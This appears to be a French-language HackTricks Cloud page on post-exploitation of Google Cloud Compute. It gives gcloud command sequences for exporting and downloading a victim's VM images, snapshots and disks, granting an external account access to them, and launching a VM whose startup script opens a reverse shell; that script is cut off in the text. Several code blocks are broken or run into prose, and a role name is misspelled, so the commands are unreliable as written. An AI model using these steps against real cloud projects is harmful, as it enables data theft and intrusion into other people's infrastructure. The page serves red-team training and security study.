GCP - Compute Post Exploitation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Compute
Pour plus d’informations sur Compute et VPC (Networking) consultez :
Export & Inspect Images locally
Cela permettrait à un attaquant d’accéder aux données contenues dans des images déjà existantes ou de créer de nouvelles images de VMs en cours d’exécution et d’accéder à leurs données sans avoir accès à la VM en cours.
Il est possible d’exporter une image de VM vers un bucket puis de la télécharger et de la monter localement avec la commande :
Exporter et télécharger une image VM
```bash gcloud compute images export --destination-uri gs://Pour effectuer cette action l’attaquant pourrait avoir besoin de privilèges sur le storage bucket et, pour sûr, de privilèges sur cloudbuild car c’est le service qui sera sollicité pour effectuer l’export
De plus, pour que cela fonctionne le codebuild SA et le compute SA ont besoin de permissions privilégiées.
Le cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com a besoin de :
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Et le SA <project-id>-compute@developer.gserviceaccount.com a besoin de :
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
Il n’est pas possible d’exporter directement des snapshots et des disks, mais il est possible de transformer un snapshot en disk, un disk en image et, en suivant la section précédente, d’exporter cette image pour l’inspecter localement
Créer un disque à partir d'un snapshot et une image à partir d'un disk
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Inspecter une image en créant une VM
Dans le but d'accéder aux **données stockées dans une image** ou à l'intérieur d'une **VM en cours d'exécution** depuis l'endroit où un attaquant **a créé une image,** il est possible d'accorder à un compte externe l'accès à l'image :
<details>
<summary>Accorder l'accès à l'image et créer une VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
puis créez une nouvelle VM à partir de celle-ci :
Créer une instance VM à partir de l'image
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Si vous ne pouvez pas donner à votre compte externe l’accès à l’image, vous pouvez lancer une VM en utilisant cette image dans le projet de la victime et faire en sorte que la metadata exécute un reverse shell pour accéder à l’image en ajoutant le param :
Créer une VM avec reverse shell dans metadata
```bash --metadata startup-script='#! /bin/bash echo "hello";Inspecter un snapshot/disque en le montant sur une VM
Dans le but d’accéder aux données stockées dans un disque ou un snapshot, vous pouvez transformer le snapshot en disque, un disque en image et suivre les étapes précédentes.
Ou vous pouvez accorder l’accès à un compte externe sur le disque (si le point de départ est un snapshot, donnez l’accès au snapshot ou créez-en un disque) :
Accorder l'accès au disque
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Attacher le disque à une instance:
Attacher le disque à une instance
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Monter le disque à l’intérieur de la VM :
- Se connecter en SSH à la VM :
Se connecter en SSH à la VM et monter le disque
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifier le disque : Une fois dans la VM, identifiez le nouveau disque en listant les périphériques de disque. Typiquement, vous le trouverez comme
/dev/sdb,/dev/sdc, etc. - Formater et monter le disque (si c’est un disque neuf ou brut) :
- Créer un point de montage :
Créer le point de montage et monter
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Monter le disque :
Monter le périphérique de disque
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Si vous ne pouvez pas donner l’accès à un projet externe au snapshot ou au disque, vous devrez peut-être effectuer ces actions depuis une instance dans le même projet que le snapshot/le disque.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

